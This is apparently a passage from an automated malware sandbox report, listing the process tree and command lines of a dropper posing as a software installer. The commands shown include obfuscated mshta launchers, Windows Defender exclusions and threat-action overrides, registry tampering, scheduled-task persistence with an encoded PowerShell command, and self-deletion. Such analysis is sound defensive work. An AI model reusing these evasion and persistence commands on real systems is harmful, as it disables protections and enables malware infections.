PID 1760 wrote to memory of 1016	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1016	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1016	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1016	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1016	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1016	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2012	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2012	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2012	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2012	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2012	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2012	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2012	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2044	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2044	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2044	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2044	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2044	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2044	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 2044	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1096	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1096	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1096	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1096	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1096	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1096	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1096	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1400	1760	setup_install.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1728

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1784

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1760

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
4⤵
PID:1104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1848

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:3324

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:920

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:2840

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1034cd265b5e0adcd.exe
4⤵
- Loads dropped DLL
PID:816

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri1034cd265b5e0adcd.exe
Fri1034cd265b5e0adcd.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1884

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe(cReATEOBJecT ("WScRIPt.SHelL" ).RUn ("C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri1034cd265b5e0adcd.exe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF """" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri1034cd265b5e0adcd.exe"" ) do taskkill -F -Im ""%~nXU"" ", 0, trUE) )
6⤵
PID:1664

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri1034cd265b5e0adcd.exe" SkVPVS3t6Y8W.EXe &&STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF ""== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri1034cd265b5e0adcd.exe" ) do taskkill -F -Im "%~nXU"
7⤵
PID:2780

C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe
SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK
8⤵
- Executes dropped EXE
PID:2824

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe(cReATEOBJecT ("WScRIPt.SHelL" ).RUn ("C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF ""/phmOv~geMVZhd~P51OGqJQYYUK "" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" ) do taskkill -F -Im ""%~nXU"" ", 0, trUE) )
9⤵
PID:2892

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" SkVPVS3t6Y8W.EXe &&STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "/phmOv~geMVZhd~P51OGqJQYYUK "== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" ) do taskkill -F -Im "%~nXU"
10⤵
PID:2952

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCRipT:CloSE ( CReaTEoBJEct ( "WSCRIPT.SHElL" ). rUn("cMd /q /C eCHo | SET /P = ""MZ"" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ + 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM & StARt control .\FUEj5.QM " , 0 , tRuE ) )
9⤵
PID:308

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /C eCHo | SET /P = "MZ" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ+ 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM& StARt control .\FUEj5.QM
10⤵
PID:2536

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHo "
11⤵
PID:2752

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>yW7bB.DeE"
11⤵
PID:2812

C:\Windows\SysWOW64\control.exe
control .\FUEj5.QM
11⤵
PID:2636

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\FUEj5.QM
12⤵
PID:2900

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\FUEj5.QM
13⤵
PID:3716

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\FUEj5.QM
14⤵
PID:3812

C:\Windows\SysWOW64\taskkill.exe
taskkill -F -Im "Fri1034cd265b5e0adcd.exe"
8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2836

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10584c049c7f.exe
4⤵
- Loads dropped DLL
PID:588

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10584c049c7f.exe
Fri10584c049c7f.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1808

C:\Users\Admin\Documents\fNqGphjF7B1iWpYkNJx02i6Y.exe
"C:\Users\Admin\Documents\fNqGphjF7B1iWpYkNJx02i6Y.exe"
6⤵
- Executes dropped EXE
PID:2832

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
"C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"
7⤵
- Executes dropped EXE
PID:2964

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\
8⤵
PID:1844

C:\Windows\SysWOW64\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\
9⤵
PID:3168

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe" /F
8⤵
- Creates scheduled task(s)
PID:108

C:\Users\Admin\Documents\Y8547zmzcFS7iXaXfxaPyMlP.exe
"C:\Users\Admin\Documents\Y8547zmzcFS7iXaXfxaPyMlP.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2420

C:\Users\Admin\Documents\Un0RH0icgtehjceFFqDkFBly.exe
"C:\Users\Admin\Documents\Un0RH0icgtehjceFFqDkFBly.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2564

C:\Users\Admin\Documents\y5Gv6ZJkUo0Y2ObqKvzcgkGv.exe
"C:\Users\Admin\Documents\y5Gv6ZJkUo0Y2ObqKvzcgkGv.exe"
6⤵
PID:2448

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:3676

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:3700

C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
7⤵
PID:3880

C:\Users\Admin\Documents\9Vndfg744dSa8AffXP3P1m6I.exe
"C:\Users\Admin\Documents\9Vndfg744dSa8AffXP3P1m6I.exe"
8⤵
PID:3708

C:\Users\Admin\Documents\9Vndfg744dSa8AffXP3P1m6I.exe
"C:\Users\Admin\Documents\9Vndfg744dSa8AffXP3P1m6I.exe"
9⤵
PID:2172

C:\Users\Admin\Documents\2Z9uyhyIRWICbA2mowZ6PSZ6.exe
"C:\Users\Admin\Documents\2Z9uyhyIRWICbA2mowZ6PSZ6.exe"
8⤵
PID:4444

C:\Users\Admin\Documents\8LqDkcDmtgh2p_3JUHiqQHrZ.exe
"C:\Users\Admin\Documents\8LqDkcDmtgh2p_3JUHiqQHrZ.exe"
8⤵
PID:4732

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe(cReATEOBJecT ("WScRIPt.SHelL" ).RUn ("C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\Documents\8LqDkcDmtgh2p_3JUHiqQHrZ.exe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF """" == """" for %U In ( ""C:\Users\Admin\Documents\8LqDkcDmtgh2p_3JUHiqQHrZ.exe"" ) do taskkill -F -Im ""%~nXU"" ", 0, trUE) )
9⤵
PID:4812

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\Documents\8LqDkcDmtgh2p_3JUHiqQHrZ.exe" SkVPVS3t6Y8W.EXe &&STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF ""== "" for %U In ( "C:\Users\Admin\Documents\8LqDkcDmtgh2p_3JUHiqQHrZ.exe" ) do taskkill -F -Im "%~nXU"
10⤵
PID:3220

C:\Windows\SysWOW64\taskkill.exe
taskkill -F -Im "8LqDkcDmtgh2p_3JUHiqQHrZ.exe"
11⤵
- Kills process with taskkill
PID:3816

C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe
SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK
11⤵
PID:2716

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCRipT:CloSE ( CReaTEoBJEct ( "WSCRIPT.SHElL" ). rUn("cMd /q /C eCHo | SET /P = ""MZ"" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ + 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM & StARt control .\FUEj5.QM " , 0 , tRuE ) )
12⤵
PID:3516

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /C eCHo | SET /P = "MZ" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ+ 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM& StARt control .\FUEj5.QM
13⤵
PID:5476

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>yW7bB.DeE"
14⤵
PID:5480

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHo "
14⤵
PID:1404

C:\Windows\SysWOW64\control.exe
control .\FUEj5.QM
14⤵
PID:4896

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\FUEj5.QM
15⤵
PID:4596

C:\Users\Admin\Documents\XxmXx2WUgIC5tlEy6IsfFrnK.exe
"C:\Users\Admin\Documents\XxmXx2WUgIC5tlEy6IsfFrnK.exe" /mixtwo
8⤵
PID:4596

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "XxmXx2WUgIC5tlEy6IsfFrnK.exe" /f & erase "C:\Users\Admin\Documents\XxmXx2WUgIC5tlEy6IsfFrnK.exe" & exit
9⤵
PID:1940

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "XxmXx2WUgIC5tlEy6IsfFrnK.exe" /f
10⤵
- Kills process with taskkill
PID:5320

C:\Users\Admin\Documents\TG9Gsne_fup29Iz4vAKPQlC2.exe
"C:\Users\Admin\Documents\TG9Gsne_fup29Iz4vAKPQlC2.exe"
8⤵
PID:4520

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCrIPt:CLOsE( cReaTeoBJeCt ( "wSCRipt.SHElL" ).Run( "C:\Windows\system32\cmd.exe /C coPy /Y ""C:\Users\Admin\Documents\TG9Gsne_fup29Iz4vAKPQlC2.exe"" ..\XFLr_FTQ.eXE && StARt ..\xFLR_FTQ.exe -pSEIMItxZzhTvqGZd & IF """"=="""" for %w iN ( ""C:\Users\Admin\Documents\TG9Gsne_fup29Iz4vAKPQlC2.exe"" ) do taskkill /f -Im ""%~nXw"" ", 0,TrUE ))
9⤵
PID:4872

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C coPy /Y "C:\Users\Admin\Documents\TG9Gsne_fup29Iz4vAKPQlC2.exe" ..\XFLr_FTQ.eXE && StARt ..\xFLR_FTQ.exe -pSEIMItxZzhTvqGZd & IF ""=="" for %w iN ( "C:\Users\Admin\Documents\TG9Gsne_fup29Iz4vAKPQlC2.exe" ) do taskkill /f -Im "%~nXw"
10⤵
PID:4324

C:\Windows\SysWOW64\taskkill.exe
taskkill /f -Im "TG9Gsne_fup29Iz4vAKPQlC2.exe"
11⤵
- Kills process with taskkill
PID:3156

C:\Users\Admin\AppData\Local\Temp\XFLr_FTQ.eXE
..\xFLR_FTQ.exe -pSEIMItxZzhTvqGZd
11⤵
PID:4488

C:\Users\Admin\Documents\IP1zwSAuyA8DkprCDUXVnTAu.exe
"C:\Users\Admin\Documents\IP1zwSAuyA8DkprCDUXVnTAu.exe"
8⤵
PID:4636

C:\Users\Admin\Documents\FytUHOfne6wiUX1VlIiA1cSm.exe
"C:\Users\Admin\Documents\FytUHOfne6wiUX1VlIiA1cSm.exe"
8⤵
PID:4600

C:\Users\Admin\AppData\Local\Temp\7zS6557.tmp\Install.exe
.\Install.exe
9⤵
PID:3356

C:\Users\Admin\AppData\Local\Temp\7zS8BE9.tmp\Install.exe
.\Install.exe /S /site_id "668658"
10⤵
PID:3404

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
11⤵
PID:4564

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
12⤵
PID:4604

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:5068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:4940

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:2812

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
12⤵
PID:5916

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
12⤵
PID:3376

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gTXKbfoON" /SC once /ST 00:50:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
11⤵
- Creates scheduled task(s)
PID:2440

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
11⤵
PID:5636

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
12⤵
PID:812

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
13⤵
PID:2628

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
11⤵
PID:4968

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gTXKbfoON"
11⤵
PID:5308

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gTXKbfoON"
11⤵
PID:3788

C:\Users\Admin\Documents\iyplYtdKHv_P2Ut__Bh7OW_j.exe
"C:\Users\Admin\Documents\iyplYtdKHv_P2Ut__Bh7OW_j.exe"
8⤵
PID:2924

C:\Users\Admin\Documents\AgcukzyFpReABTyx21csW9AB.exe
"C:\Users\Admin\Documents\AgcukzyFpReABTyx21csW9AB.exe" silent
8⤵
PID:2820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3880 -s 584
8⤵
- Program crash
PID:1676

C:\Users\Admin\Documents\sjvlWO7pH4cBipZIK4NxYrLM.exe
"C:\Users\Admin\Documents\sjvlWO7pH4cBipZIK4NxYrLM.exe"
6⤵
- Executes dropped EXE
PID:3044

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "sjvlWO7pH4cBipZIK4NxYrLM.exe" /f & erase "C:\Users\Admin\Documents\sjvlWO7pH4cBipZIK4NxYrLM.exe" & exit
7⤵
PID:3892

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "sjvlWO7pH4cBipZIK4NxYrLM.exe" /f
8⤵
- Kills process with taskkill
PID:3980

C:\Users\Admin\Documents\N_ZBbQ0lCco5BbsKPN8BPBB0.exe
"C:\Users\Admin\Documents\N_ZBbQ0lCco5BbsKPN8BPBB0.exe"
6⤵
- Executes dropped EXE
PID:2576

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
7⤵
PID:4016

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
8⤵
PID:2632

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2632.0.856353113\469161031" -parentBuildID 20200403170909 -prefsHandle 1096 -prefMapHandle 1088 -prefsLen 1 -prefMapSize 219586 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2632 "\\.\pipe\gecko-crash-server-pipe.2632" 1180 gpu
9⤵
PID:2372

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2632.3.2103512956\705993490" -childID 1 -isForBrowser -prefsHandle 1992 -prefMapHandle 1988 -prefsLen 122 -prefMapSize 219586 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2632 "\\.\pipe\gecko-crash-server-pipe.2632" 2004 tab
9⤵
PID:4796

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2632.13.1579425669\192992808" -childID 2 -isForBrowser -prefsHandle 2588 -prefMapHandle 2584 -prefsLen 7358 -prefMapSize 219586 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2632 "\\.\pipe\gecko-crash-server-pipe.2632" 2604 tab
9⤵
PID:2772

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2632.20.1323102110\478545856" -childID 3 -isForBrowser -prefsHandle 3444 -prefMapHandle 3204 -prefsLen 8210 -prefMapSize 219586 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2632 "\\.\pipe\gecko-crash-server-pipe.2632" 3376 tab
9⤵
PID:4220

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2632.21.558983500\2044341661" -parentBuildID 20200403170909 -prefsHandle 3400 -prefMapHandle 3184 -prefsLen 8210 -prefMapSize 219586 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2632 "\\.\pipe\gecko-crash-server-pipe.2632" 3396 gpu
9⤵
PID:1420

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
7⤵
PID:5296

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fee3354f50,0x7fee3354f60,0x7fee3354f70
8⤵
PID:5352

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C taskkill /F /PID 2576 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\N_ZBbQ0lCco5BbsKPN8BPBB0.exe"
7⤵
PID:3832

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 2576
8⤵
- Kills process with taskkill
PID:4544

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C taskkill /F /PID 2576 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\N_ZBbQ0lCco5BbsKPN8BPBB0.exe"
7⤵
PID:5160

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 2576
8⤵
- Kills process with taskkill
PID:4448

C:\Users\Admin\Documents\gDJrpJjB3c0fbHlZ8SUZt_oF.exe
"C:\Users\Admin\Documents\gDJrpJjB3c0fbHlZ8SUZt_oF.exe"
6⤵
- Executes dropped EXE
PID:2872

C:\Users\Admin\Documents\DxQ7CVSHglgUZ0jmKWfoZtmX.exe
"C:\Users\Admin\Documents\DxQ7CVSHglgUZ0jmKWfoZtmX.exe"
6⤵
- Executes dropped EXE
PID:2908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2908 -s 880
7⤵
- Program crash
PID:3512

C:\Users\Admin\Documents\qRs7igib39zEjAaYcbigMyWZ.exe
"C:\Users\Admin\Documents\qRs7igib39zEjAaYcbigMyWZ.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1780

C:\Program Files (x86)\Company\NewProduct\inst002.exe
"C:\Program Files (x86)\Company\NewProduct\inst002.exe"
7⤵
PID:2864

C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
7⤵
PID:1076

C:\Program Files (x86)\Company\NewProduct\cm3.exe
